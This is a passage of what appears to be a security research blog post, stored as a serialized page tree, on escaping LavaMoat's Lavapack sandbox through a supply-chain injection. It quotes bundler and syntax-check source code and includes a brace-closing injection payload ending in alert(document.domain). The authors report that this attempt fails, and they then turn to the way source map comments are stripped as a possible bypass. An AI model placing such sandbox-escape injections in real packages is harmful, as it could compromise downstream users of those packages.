performScuttleGlobalThis",{"type":23,"tag":504,"props":46764,"children":46765},{"style":523},[46766],{"type":28,"value":526},{"type":23,"tag":504,"props":46768,"children":46769},{"style":529},[46770],{"type":28,"value":46753},{"type":23,"tag":504,"props":46772,"children":46773},{"style":523},[46774],{"type":28,"value":576},{"type":23,"tag":504,"props":46776,"children":46777},{"style":529},[46778],{"type":28,"value":46589},{"type":23,"tag":504,"props":46780,"children":46781},{"style":523},[46782],{"type":28,"value":320},{"type":23,"tag":504,"props":46784,"children":46785},{"style":529},[46786],{"type":28,"value":46648},{"type":23,"tag":504,"props":46788,"children":46789},{"style":523},[46790],{"type":28,"value":18694},{"type":23,"tag":504,"props":46792,"children":46793},{"class":506,"line":736},[46794],{"type":23,"tag":504,"props":46795,"children":46796},{"style":523},[46797],{"type":28,"value":875},{"type":23,"tag":24,"props":46799,"children":46800},{},[46801,46803,46809,46811,46817],{"type":28,"value":46802},"Subsequently, the code defines a ",{"type":23,"tag":92,"props":46804,"children":46807},{"href":46805,"rel":46806},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[96],[46808],{"type":28,"value":514},{"type":28,"value":46810}," called ",{"type":23,"tag":56,"props":46812,"children":46814},{"className":46813},[],[46815],{"type":28,"value":46816},"generateScuttleOpts",{"type":28,"value":46818}," that creates and returns an options object.",{"type":23,"tag":24,"props":46820,"children":46821},{},[46822,46824,46830,46831,46837,46839,46844,46846,46852],{"type":28,"value":46823},"Finally, the ",{"type":23,"tag":56,"props":46825,"children":46827},{"className":46826},[],[46828],{"type":28,"value":46829},"performScuttleGlobalThis",{"type":28,"value":5441},{"type":23,"tag":92,"props":46832,"children":46835},{"href":46833,"rel":46834},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[96],[46836],{"type":28,"value":514},{"type":28,"value":46838}," modifies the properties of the global object (",{"type":23,"tag":56,"props":46840,"children":46842},{"className":46841},[],[46843],{"type":28,"value":46744},{"type":28,"value":46845},"). It starts by creating an array ",{"type":23,"tag":56,"props":46847,"children":46849},{"className":46848},[],[46850],{"type":28,"value":46851},"props",{"type":28,"value":46853},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":23,"tag":70,"props":46855,"children":46857},{"id":46856},"hacking-webpacks",[46858],{"type":28,"value":46859},"Hacking Webpacks",{"type":23,"tag":24,"props":46861,"children":46862},{},[46863],{"type":28,"value":46864},"Now let's get to the fun stuff.",{"type":23,"tag":24,"props":46866,"children":46867},{},[46868],{"type":28,"value":46869},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":23,"tag":494,"props":46871,"children":46873},{"className":496,"code":46872,"language":498,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[46874],{"type":23,"tag":56,"props":46875,"children":46876},{"__ignoreMap":7},[46877,46929,46941,46961,46978,46986,46994,47002,47010,47031,47039,47047,47055,47062,47069,47076],{"type":23,"tag":504,"props":46878,"children":46879},{"class":506,"line":507},[46880,46884,46889,46893,46898,46902,46907,46911,46916,46920,46925],{"type":23,"tag":504,"props":46881,"children":46882},{"style":511},[46883],{"type":28,"value":35165},{"type":23,"tag":504,"props":46885,"children":46886},{"style":529},[46887],{"type":28,"value":46888}," filename",{"type":23,"tag":504,"props":46890,"children":46891},{"style":598},[46892],{"type":28,"value":648},{"type":23,"tag":504,"props":46894,"children":46895},{"style":517},[46896],{"type":28,"value":46897}," encodeURI",{"type":23,"tag":504,"props":46899,"children":46900},{"style":523},[46901],{"type":28,"value":526},{"type":23,"tag":504,"props":46903,"children":46904},{"style":517},[46905],{"type":28,"value":46906},"String",{"type":23,"tag":504,"props":46908,"children":46909},{"style":523},[46910],{"type":28,"value":526},{"type":23,"tag":504,"props":46912,"children":46913},{"style":529},[46914],{"type":28,"value":46915},"moduleData",{"type":23,"tag":504,"props":46917,"children":46918},{"style":523},[46919],{"type":28,"value":320},{"type":23,"tag":504,"props":46921,"children":46922},{"style":529},[46923],{"type":28,"value":46924},"file",{"type":23,"tag":504,"props":46926,"children":46927},{"style":523},[46928],{"type":28,"value":18694},{"type":23,"tag":504,"props":46930,"children":46931},{"class":506,"line":540},[46932,46936],{"type":23,"tag":504,"props":46933,"children":46934},{"style":511},[46935],{"type":28,"value":6838},{"type":23,"tag":504,"props":46937,"children":46938},{"style":529},[46939],{"type":28,"value":46940}," moduleWrapperSource\n",{"type":23,"tag":504,"props":46942,"children":46943},{"class":506,"line":555},[46944,46948,46952,46957],{"type":23,"tag":504,"props":46945,"children":46946},{"style":544},[46947],{"type":28,"value":30372},{"type":23,"tag":504,"props":46949,"children":46950},{"style":523},[46951],{"type":28,"value":801},{"type":23,"tag":504,"props":46953,"children":46954},{"style":529},[46955],{"type":28,"value":46956},"bundleWithPrecompiledModules",{"type":23,"tag":504,"props":46958,"children":46959},{"style":523},[46960],{"type":28,"value":537},{"type":23,"tag":504,"props":46962,"children":46963},{"class":506,"line":633},[46964,46969,46973],{"type":23,"tag":504,"props":46965,"children":46966},{"style":529},[46967],{"type":28,"value":46968},"    moduleWrapperSource",{"type":23,"tag":504,"props":46970,"children":46971},{"style":598},[46972],{"type":28,"value":648},{"type":23,"tag":504,"props":46974,"children":46975},{"style":622},[46976],{"type":28,"value":46977}," `function(){\n",{"type":23,"tag":504,"props":46979,"children":46980},{"class":506,"line":687},[46981],{"type":23,"tag":504,"props":46982,"children":46983},{"style":622},[46984],{"type":28,"value":46985},"      with (this.scopeTerminator) {\n",{"type":23,"tag":504,"props":46987,"children":46988},{"class":506,"line":736},[46989],{"type":23,"tag":504,"props":46990,"children":46991},{"style":622},[46992],{"type":28,"value":46993},"        with (this.globalThis) {\n",{"type":23,"tag":504,"props":46995,"children":46996},{"class":506,"line":785},[46997],{"type":23,"tag":504,"props":46998,"children":46999},{"style":622},[47000],{"type":28,"value":47001},"          return function() {\n",{"type":23,"tag":504,"props":47003,"children":47004},{"class":506,"line":813},[47005],{"type":23,"tag":504,"props":47006,"children":47007},{"style":622},[47008],{"type":28,"value":47009},"            'use strict';\n",{"type":23,"tag":504,"props":47011,"children":47012},{"class":506,"line":851},[47013,47018,47022,47027],{"type":23,"tag":504,"props":47014,"children":47015},{"style":622},[47016],{"type":28,"value":47017},"            // source: ",{"type":23,"tag":504,"props":47019,"children":47020},{"style":511},[47021],{"type":28,"value":1253},{"type":23,"tag":504,"props":47023,"children":47024},{"style":529},[47025],{"type":28,"value":47026},"filename",{"type":23,"tag":504,"props":47028,"children":47029},{"style":511},[47030],{"type":28,"value":884},{"type":23,"tag":504,"props":47032,"children":47033},{"class":506,"line":869},[47034],{"type":23,"tag":504,"props":47035,"children":47036},{"style":622},[47037],{"type":28,"value":47038},"            return function (require, module, exports) {\n",{"type":23,"tag":504,"props":47040,"children":47041},{"class":506,"line":878},[47042],{"type":23,"tag":504,"props":47043,"children":47044},{"style":622},[47045],{"type":28,"value":47046},"              __MODULE_CONTENT__\n",{"type":23,"tag":504,"props":47048,"children":47049},{"class":506,"line":1221},[47050],{"type":23,"tag":504,"props":47051,"children":47052},{"style":622},[47053],{"type":28,"value":47054},"            };\n",{"type":23,"tag":504,"props":47056,"children":47057},{"class":506,"line":1276},[47058],{"type":23,"tag":504,"props":47059,"children":47060},{"style":622},[47061],{"type":28,"value":7685},{"type":23,"tag":504,"props":47063,"children":47064},{"class":506,"line":1285},[47065],{"type":23,"tag":504,"props":47066,"children":47067},{"style":622},[47068],{"type":28,"value":1291},{"type":23,"tag":504,"props":47070,"children":47071},{"class":506,"line":1294},[47072],{"type":23,"tag":504,"props":47073,"children":47074},{"style":622},[47075],{"type":28,"value":11645},{"type":23,"tag":504,"props":47077,"children":47078},{"class":506,"line":1302},[47079],{"type":23,"tag":504,"props":47080,"children":47081},{"style":622},[47082],{"type":28,"value":47083},"    }`\n",{"type":23,"tag":24,"props":47085,"children":47086},{},[47087,47089,47095,47097,47103],{"type":28,"value":47088},"Lavapack uses ",{"type":23,"tag":56,"props":47090,"children":47092},{"className":47091},[],[47093],{"type":28,"value":47094},"with()",{"type":28,"value":47096}," proxies to restrict the objects accessible by the module, and ",{"type":23,"tag":56,"props":47098,"children":47100},{"className":47099},[],[47101],{"type":28,"value":47102},"__MODULE_CONTENT__",{"type":28,"value":47104}," is replaced by the content of a file required by the project being built.",{"type":23,"tag":82,"props":47106,"children":47108},{"id":47107},"injection-not-so-simple",[47109],{"type":28,"value":47110},"Injection? Not So Simple",{"type":23,"tag":24,"props":47112,"children":47113},{},[47114,47116,47121],{"type":28,"value":47115},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":23,"tag":56,"props":47117,"children":47119},{"className":47118},[],[47120],{"type":28,"value":11632},{"type":28,"value":47122}," environment:",{"type":23,"tag":494,"props":47124,"children":47126},{"className":496,"code":47125,"language":498,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[47127],{"type":23,"tag":56,"props":47128,"children":47129},{"__ignoreMap":7},[47130,47143,47155,47167,47179,47186],{"type":23,"tag":504,"props":47131,"children":47132},{"class":506,"line":507},[47133,47138],{"type":23,"tag":504,"props":47134,"children":47135},{"style":523},[47136],{"type":28,"value":47137},"   } ",{"type":23,"tag":504,"props":47139,"children":47140},{"style":1106},[47141],{"type":28,"value":47142},"// end function 1\n",{"type":23,"tag":504,"props":47144,"children":47145},{"class":506,"line":540},[47146,47150],{"type":23,"tag":504,"props":47147,"children":47148},{"style":523},[47149],{"type":28,"value":30446},{"type":23,"tag":504,"props":47151,"children":47152},{"style":1106},[47153],{"type":28,"value":47154},"// end function 2\n",{"type":23,"tag":504,"props":47156,"children":47157},{"class":506,"line":555},[47158,47162],{"type":23,"tag":504,"props":47159,"children":47160},{"style":523},[47161],{"type":28,"value":35179},{"type":23,"tag":504,"props":47163,"children":47164},{"style":1106},[47165],{"type":28,"value":47166},"// end with 1\n",{"type":23,"tag":504,"props":47168,"children":47169},{"class":506,"line":633},[47170,47174],{"type":23,"tag":504,"props":47171,"children":47172},{"style":523},[47173],{"type":28,"value":45853},{"type":23,"tag":504,"props":47175,"children":47176},{"style":1106},[47177],{"type":28,"value":47178},"// end with 2\n",{"type":23,"tag":504,"props":47180,"children":47181},{"class":506,"line":687},[47182],{"type":23,"tag":504,"props":47183,"children":47184},{"emptyLinePlaceholder":16},[47185],{"type":28,"value":1038},{"type":23,"tag":504,"props":47187,"children":47188},{"class":506,"line":736},[47189,47193,47197,47201,47205,47209],{"type":23,"tag":504,"props":47190,"children":47191},{"style":517},[47192],{"type":28,"value":31675},{"type":23,"tag":504,"props":47194,"children":47195},{"style":523},[47196],{"type":28,"value":526},{"type":23,"tag":504,"props":47198,"children":47199},{"style":529},[47200],{"type":28,"value":31685},{"type":23,"tag":504,"props":47202,"children":47203},{"style":523},[47204],{"type":28,"value":320},{"type":23,"tag":504,"props":47206,"children":47207},{"style":529},[47208],{"type":28,"value":31695},{"type":23,"tag":504,"props":47210,"children":47211},{"style":523},[47212],{"type":28,"value":1192},{"type":23,"tag":24,"props":47214,"children":47215},{},[47216,47218,47224,47226,47233],{"type":28,"value":47217},"However, when we tried to bundle it, a ",{"type":23,"tag":56,"props":47219,"children":47221},{"className":47220},[],[47222],{"type":28,"value":47223},"ParseError",{"type":28,"value":47225}," was thrown. This is because Lavapack is a plugin of ",{"type":23,"tag":92,"props":47227,"children":47230},{"href":47228,"rel":47229},"https://github.com/browserify/browserify",[96],[47231],{"type":28,"value":47232},"browserify",{"type":28,"value":47234},", which has a syntax check before replacing the code.",{"type":23,"tag":24,"props":47236,"children":47237},{},[47238,47240,47246,47248,47254,47256,47262,47264,47269],{"type":28,"value":47239},"Looking deeper into browserify, we find it has a ",{"type":23,"tag":56,"props":47241,"children":47243},{"className":47242},[],[47244],{"type":28,"value":47245},"syntax",{"type":28,"value":47247}," stage on it's pipeline, and uses the ",{"type":23,"tag":56,"props":47249,"children":47251},{"className":47250},[],[47252],{"type":28,"value":47253},"syntax-error",{"type":28,"value":47255}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":23,"tag":56,"props":47257,"children":47259},{"className":47258},[],[47260],{"type":28,"value":47261},"pack",{"type":28,"value":47263}," stage on browserify pipeline, which comes after the ",{"type":23,"tag":56,"props":47265,"children":47267},{"className":47266},[],[47268],{"type":28,"value":47245},{"type":28,"value":47270},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":23,"tag":24,"props":47272,"children":47273},{},[47274],{"type":23,"tag":126,"props":47275,"children":47278},{"alt":47276,"src":47277},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":23,"tag":24,"props":47280,"children":47281},{},[47282,47283,47288,47290,47295],{"type":28,"value":15592},{"type":23,"tag":56,"props":47284,"children":47286},{"className":47285},[],[47287],{"type":28,"value":47253},{"type":28,"value":47289}," package performs a syntax check by using  ",{"type":23,"tag":56,"props":47291,"children":47293},{"className":47292},[],[47294],{"type":28,"value":36524},{"type":28,"value":47296}," with function hoisting:",{"type":23,"tag":494,"props":47298,"children":47300},{"className":496,"code":47299,"language":498,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[47301],{"type":23,"tag":56,"props":47302,"children":47303},{"__ignoreMap":7},[47304,47316,47366,47377,47384,47404,47445,47505,47546],{"type":23,"tag":504,"props":47305,"children":47306},{"class":506,"line":507},[47307,47312],{"type":23,"tag":504,"props":47308,"children":47309},{"style":544},[47310],{"type":28,"value":47311},"try",{"type":23,"tag":504,"props":47313,"children":47314},{"style":523},[47315],{"type":28,"value":552},{"type":23,"tag":504,"props":47317,"children":47318},{"class":506,"line":540},[47319,47324,47328,47333,47337,47342,47346,47351,47357,47362],{"type":23,"tag":504,"props":47320,"children":47321},{"style":517},[47322],{"type":28,"value":47323},"    eval",{"type":23,"tag":504,"props":47325,"children":47326},{"style":523},[47327],{"type":28,"value":526},{"type":23,"tag":504,"props":47329,"children":47330},{"style":622},[47331],{"type":28,"value":47332},"'throw \"STOP\"; (function () { '",{"type":23,"tag":504,"props":47334,"children":47335},{"style":598},[47336],{"type":28,"value":7888},{"type":23,"tag":504,"props":47338,"children":47339},{"style":529},[47340],{"type":28,"value":47341}," src",{"type":23,"tag":504,"props":47343,"children":47344},{"style":598},[47345],{"type":28,"value":7888},{"type":23,"tag":504,"props":47347,"children":47348},{"style":622},[47349],{"type":28,"value":47350}," '",{"type":23,"tag":504,"props":47352,"children":47354},{"style":47353},"--shiki-default:#D7BA7D",[47355],{"type":28,"value":47356},"\\n",{"type":23,"tag":504,"props":47358,"children":47359},{"style":622},[47360],{"type":28,"value":47361},"})()'",{"type":23,"tag":504,"props":47363,"children":47364},{"style":523},[47365],{"type":28,"value":630},{"type":23,"tag":504,"props":47367,"children":47368},{"class":506,"line":555},[47369,47373],{"type":23,"tag":504,"props":47370,"children":47371},{"style":544},[47372],{"type":28,"value":15968},{"type":23,"tag":504,"props":47374,"children":47375},{"style":523},[47376],{"type":28,"value":866},{"type":23,"tag":504,"props":47378,"children":47379},{"class":506,"line":633},[47380],{"type":23,"tag":504,"props":47381,"children":47382},{"style":523},[47383],{"type":28,"value":884},{"type":23,"tag":504,"props":47385,"children":47386},{"class":506,"line":687},[47387,47391,47395,47400],{"type":23,"tag":504,"props":47388,"children":47389},{"style":544},[47390],{"type":28,"value":796},{"type":23,"tag":504,"props":47392,"children":47393},{"style":523},[47394],{"type":28,"value":801},{"type":23,"tag":504,"props":47396,"children":47397},{"style":529},[47398],{"type":28,"value":47399},"err",{"type":23,"tag":504,"props":47401,"children":47402},{"style":523},[47403],{"type":28,"value":537},{"type":23,"tag":504,"props":47405,"children":47406},{"class":506,"line":736},[47407,47411,47415,47419,47423,47428,47432,47437,47441],{"type":23,"tag":504,"props":47408,"children":47409},{"style":544},[47410],{"type":28,"value":11261},{"type":23,"tag":504,"props":47412,"children":47413},{"style":523},[47414],{"type":28,"value":801},{"type":23,"tag":504,"props":47416,"children":47417},{"style":529},[47418],{"type":28,"value":47399},{"type":23,"tag":504,"props":47420,"children":47421},{"style":598},[47422],{"type":28,"value":30400},{"type":23,"tag":504,"props":47424,"children":47425},{"style":622},[47426],{"type":28,"value":47427}," 'STOP'",{"type":23,"tag":504,"props":47429,"children":47430},{"style":523},[47431],{"type":28,"value":2064},{"type":23,"tag":504,"props":47433,"children":47434},{"style":544},[47435],{"type":28,"value":47436},"return",{"type":23,"tag":504,"props":47438,"children":47439},{"style":511},[47440],{"type":28,"value":38313},{"type":23,"tag":504,"props":47442,"children":47443},{"style":523},[47444],{"type":28,"value":866},{"type":23,"tag":504,"props":47446,"children":47447},{"class":506,"line":785},[47448,47452,47456,47460,47464,47469,47473,47478,47483,47488,47492,47496,47501],{"type":23,"tag":504,"props":47449,"children":47450},{"style":544},[47451],{"type":28,"value":11261},{"type":23,"tag":504,"props":47453,"children":47454},{"style":523},[47455],{"type":28,"value":801},{"type":23,"tag":504,"props":47457,"children":47458},{"style":529},[47459],{"type":28,"value":47399},{"type":23,"tag":504,"props":47461,"children":47462},{"style":523},[47463],{"type":28,"value":320},{"type":23,"tag":504,"props":47465,"children":47466},{"style":529},[47467],{"type":28,"value":47468},"constructor",{"type":23,"tag":504,"props":47470,"children":47471},{"style":523},[47472],{"type":28,"value":320},{"type":23,"tag":504,"props":47474,"children":47475},{"style":529},[47476],{"type":28,"value":47477},"name",{"type":23,"tag":504,"props":47479,"children":47480},{"style":598},[47481],{"type":28,"value":47482}," !==",{"type":23,"tag":504,"props":47484,"children":47485},{"style":622},[47486],{"type":28,"value":47487}," 'SyntaxError'",{"type":23,"tag":504,"props":47489,"children":47490},{"style":523},[47491],{"type":28,"value":2064},{"type":23,"tag":504,"props":47493,"children":47494},{"style":544},[47495],{"type":28,"value":47436},{"type":23,"tag":504,"props":47497,"children":47498},{"style":529},[47499],{"type":28,"value":47500}," err",{"type":23,"tag":504,"props":47502,"children":47503},{"style":523},[47504],{"type":28,"value":866},{"type":23,"tag":504,"props":47506,"children":47507},{"class":506,"line":813},[47508,47512,47517,47521,47525,47529,47533,47537,47542],{"type":23,"tag":504,"props":47509,"children":47510},{"style":544},[47511],{"type":28,"value":15968},{"type":23,"tag":504,"props":47513,"children":47514},{"style":517},[47515],{"type":28,"value":47516}," errorInfo",{"type":23,"tag":504,"props":47518,"children":47519},{"style":523},[47520],{"type":28,"value":526},{"type":23,"tag":504,"props":47522,"children":47523},{"style":529},[47524],{"type":28,"value":31647},{"type":23,"tag":504,"props":47526,"children":47527},{"style":523},[47528],{"type":28,"value":576},{"type":23,"tag":504,"props":47530,"children":47531},{"style":529},[47532],{"type":28,"value":46924},{"type":23,"tag":504,"props":47534,"children":47535},{"style":523},[47536],{"type":28,"value":576},{"type":23,"tag":504,"props":47538,"children":47539},{"style":529},[47540],{"type":28,"value":47541},"opts",{"type":23,"tag":504,"props":47543,"children":47544},{"style":523},[47545],{"type":28,"value":630},{"type":23,"tag":504,"props":47547,"children":47548},{"class":506,"line":851},[47549],{"type":23,"tag":504,"props":47550,"children":47551},{"style":523},[47552],{"type":28,"value":884},{"type":23,"tag":24,"props":47554,"children":47555},{},[47556,47558,47562,47564,47570,47572,47577],{"type":28,"value":47557},"Interestingly, it ",{"type":23,"tag":1887,"props":47559,"children":47560},{},[47561],{"type":28,"value":2951},{"type":28,"value":47563}," possible to inject a ",{"type":23,"tag":56,"props":47565,"children":47567},{"className":47566},[],[47568],{"type":28,"value":47569},"}); (() => {",{"type":28,"value":47571}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":23,"tag":56,"props":47573,"children":47575},{"className":47574},[],[47576],{"type":28,"value":47094},{"type":28,"value":47578}," sandbox of Lavapack.",{"type":23,"tag":82,"props":47580,"children":47582},{"id":47581},"sourcemap-the-syntax-killer",[47583],{"type":28,"value":47584},"SourceMap: The Syntax Killer",{"type":23,"tag":24,"props":47586,"children":47587},{},[47588,47590,47597],{"type":28,"value":47589},"Lavapack has a feature to extract source maps files from the code using ",{"type":23,"tag":92,"props":47591,"children":47594},{"href":47592,"rel":47593},"https://www.npmjs.com/package/convert-source-map",[96],[47595],{"type":28,"value":47596},"convert-source-map",{"type":28,"value":47598}," npm package:",{"type":23,"tag":494,"props":47600,"children":47602},{"className":496,"code":47601,"language":498,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[47603],{"type":23,"tag":56,"props":47604,"children":47605},{"__ignoreMap":7},[47606,47630,47672,47680,47721,47762,47790],{"type":23,"tag":504,"props":47607,"children":47608},{"class":506,"line":507},[47609,47613,47618,47622,47626],{"type":23,"tag":504,"props":47610,"children":47611},{"style":511},[47612],{"type":28,"value":514},{"type":23,"tag":504,"props":47614,"children":47615},{"style":517},[47616],{"type":28,"value":47617}," extractSourceMaps",{"type":23,"tag":504,"props":47619,"children":47620},{"style":523},[47621],{"type":28,"value":526},{"type":23,"tag":504,"props":47623,"children":47624},{"style":529},[47625],{"type":28,"value":36990},{"type":23,"tag":504,"props":47627,"children":47628},{"style":523},[47629],{"type":28,"value":537},{"type":23,"tag":504,"props":47631,"children":47632},{"class":506,"line":540},[47633,47637,47642,47646,47651,47655,47660,47664,47668],{"type":23,"tag":504,"props":47634,"children":47635},{"style":511},[47636],{"type":28,"value":35165},{"type":23,"tag":504,"props":47638,"children":47639},{"style":529},[47640],{"type":28,"value":47641}," converter",{"type":23,"tag":504,"props":47643,"children":47644},{"style":598},[47645],{"type":28,"value":648},{"type":23,"tag":504,"props":47647,"children":47648},{"style":529},[47649],{"type":28,"value":47650}," convertSourceMap",{"type":23,"tag":504,"props":47652,"children":47653},{"style":523},[47654],{"type":28,"value":320},{"type":23,"tag":504,"props":47656,"children":47657},{"style":517},[47658],{"type":28,"value":47659},"fromSource",{"type":23,"tag":504,"props":47661,"children":47662},{"style":523},[47663],{"type":28,"value":526},{"type":23,"tag":504,"props":47665,"children":47666},{"style":529},[47667],{"type":28,"value":36990},{"type":23,"tag":504,"props":47669,"children":47670},{"style":523},[47671],{"type":28,"value":1192},{"type":23,"tag":504,"props":47673,"children":47674},{"class":506,"line":555},[47675],{"type":23,"tag":504,"props":47676,"children":47677},{"style":1106},[47678],{"type":28,"value":47679},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":23,"tag":504,"props":47681,"children":47682},{"class":506,"line":633},[47683,47687,47692,47696,47700,47704,47708,47712,47717],{"type":23,"tag":504,"props":47684,"children":47685},{"style":511},[47686],{"type":28,"value":35165},{"type":23,"tag":504,"props":47688,"children":47689},{"style":529},[47690],{"type":28,"value":47691}," maps",{"type":23,"tag":504,"props":47693,"children":47694},{"style":598},[47695],{"type":28,"value":648},{"type":23,"tag":504,"props":47697,"children":47698},{"style":529},[47699],{"type":28,"value":47641},{"type":23,"tag":504,"props":47701,"children":47702},{"style":598},[47703],{"type":28,"value":13166},{"type":23,"tag":504,"props":47705,"children":47706},{"style":529},[47707],{"type":28,"value":47641},{"type":23,"tag":504,"props":47709,"children":47710},{"style":523},[47711],{"type":28,"value":320},{"type":23,"tag":504,"props":47713,"children":47714},{"style":517},[47715],{"type":28,"value":47716},"toObject",{"type":23,"tag":504,"props":47718,"children":47719},{"style":523},[47720],{"type":28,"value":1156},{"type":23,"tag":504,"props":47722,"children":47723},{"class":506,"line":687},[47724,47728,47733,47737,47741,47745,47750,47754,47758],{"type":23,"tag":504,"props":47725,"children":47726},{"style":511},[47727],{"type":28,"value":35165},{"type":23,"tag":504,"props":47729,"children":47730},{"style":529},[47731],{"type":28,"value":47732}," code",{"type":23,"tag":504,"props":47734,"children":47735},{"style":598},[47736],{"type":28,"value":648},{"type":23,"tag":504,"props":47738,"children":47739},{"style":529},[47740],{"type":28,"value":47650},{"type":23,"tag":504,"props":47742,"children":47743},{"style":523},[47744],{"type":28,"value":320},{"type":23,"tag":504,"props":47746,"children":47747},{"style":517},[47748],{"type":28,"value":47749},"removeComments",{"type":23,"tag":504,"props":47751,"children":47752},{"style":523},[47753],{"type":28,"value":526},{"type":23,"tag":504,"props":47755,"children":47756},{"style":529},[47757],{"type":28,"value":36990},{"type":23,"tag":504,"props":47759,"children":47760},{"style":523},[47761],{"type":28,"value":1192},{"type":23,"tag":504,"props":47763,"children":47764},{"class":506,"line":736},[47765,47769,47773,47777,47781,47786],{"type":23,"tag":504,"props":47766,"children":47767},{"style":544},[47768],{"type":28,"value":38175},{"type":23,"tag":504,"props":47770,"children":47771},{"style":523},[47772],{"type":28,"value":747},{"type":23,"tag":504,"props":47774,"children":47775},{"style":529},[47776],{"type":28,"value":56},{"type":23,"tag":504,"props":47778,"children":47779},{"style":523},[47780],{"type":28,"value":576},{"type":23,"tag":504,"props":47782,"children":47783},{"style":529},[47784],{"type":28,"value":47785},"maps",{"type":23,"tag":504,"props":47787,"children":47788},{"style":523},[47789],{"type":28,"value":1652},{"type":23,"tag":504,"props":47791,"children":47792},{"class":506,"line":785},[47793],{"type":23,"tag":504,"props":47794,"children":47795},{"style":523},[47796],{"type":28,"value":884},{"type":23,"tag":24,"props":47798,"children":47799},{},[47800,47802,47807,47809,47814],{"type":28,"value":47801},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":23,"tag":56,"props":47803,"children":47805},{"className":47804},[],[47806],{"type":28,"value":47245},{"type":28,"value":47808}," stage. Reviewing the ",{"type":23,"tag":56,"props":47810,"children":47812},{"className":47811},[],[47813],{"type":28,"value":47596},{"type":28,"value":47815}," code, we can see exactly how this happens.",{"type":23,"tag":494,"props":47817,"children":47819},{"className":496,"code":47818,"language":498,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[47820],{"type":23,"tag":56,"props":47821,"children":47822},{"__ignoreMap":7},[47823,47862,47888,47896,48110,48117,48124,48131,48166,48216],{"type":23,"tag":504,"props":47824,"children":47825},{"class":506,"line":507},[47826,47831,47835,47840,47844,47848,47852,47857],{"type":23,"tag":504,"props":47827,"children":47828},{"style":529},[47829],{"type":28,"value":47830},"Object",{"type":23,"tag":504,"props":47832,"children":47833},{"style":523},[47834],{"type":28,"value":320},{"type":23,"tag":504,"props":47836,"children":47837},{"style":517},[47838],{"type":28,"value":47839},"defineProperty",{"type":23,"tag":504,"props":47841,"children":47842},{"style":523},[47843],{"type":28,"value":526},{"type":23,"tag":504,"props":47845,"children":47846},{"style":1012},[47847],{"type":28,"value":36862},{"type":23,"tag":504,"props":47849,"children":47850},{"style":523},[47851],{"type":28,"value":576},{"type":23,"tag":504,"props":47853,"children":47854},{"style":622},[47855],{"type":28,"value":47856},"'commentRegex'",{"type":23,"tag":504,"props":47858,"children":47859},{"style":523},[47860],{"type":28,"value":47861},", {\n",{"type":23,"tag":504,"props":47863,"children":47864},{"class":506,"line":540},[47865,47870,47874,47878,47883],{"type":23,"tag":504,"props":47866,"children":47867},{"style":517},[47868],{"type":28,"value":47869},"  get",{"type":23,"tag":504,"props":47871,"children":47872},{"style":529},[47873],{"type":28,"value":3472},{"type":23,"tag":504,"props":47875,"children":47876},{"style":511},[47877],{"type":28,"value":37190},{"type":23,"tag":504,"props":47879,"children":47880},{"style":517},[47881],{"type":28,"value":47882}," getCommentRegex",{"type":23,"tag":504,"props":47884,"children":47885},{"style":523},[47886],{"type":28,"value":47887}," () {\n",{"type":23,"tag":504,"props":47889,"children":47890},{"class":506,"line":555},[47891],{"type":23,"tag":504,"props":47892,"children":47893},{"style":1106},[47894],{"type":28,"value":47895},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":23,"tag":504,"props":47897,"children":47898},{"class":506,"line":633},[47899,47903,47909,47914,47919,47924,47928,47933,47938,47943,47947,47951,47956,47961,47966,47971,47975,47979,47983,47988,47992,47997,48002,48007,48012,48016,48020,48024,48028,48032,48036,48040,48044,48049,48054,48058,48063,48068,48072,48076,48080,48084,48089,48093,48097,48101,48106],{"type":23,"tag":504,"props":47900,"children":47901},{"style":544},[47902],{"type":28,"value":15968},{"type":23,"tag":504,"props":47904,"children":47906},{"style":47905},"--shiki-default:#D16969",[47907],{"type":28,"value":47908}," 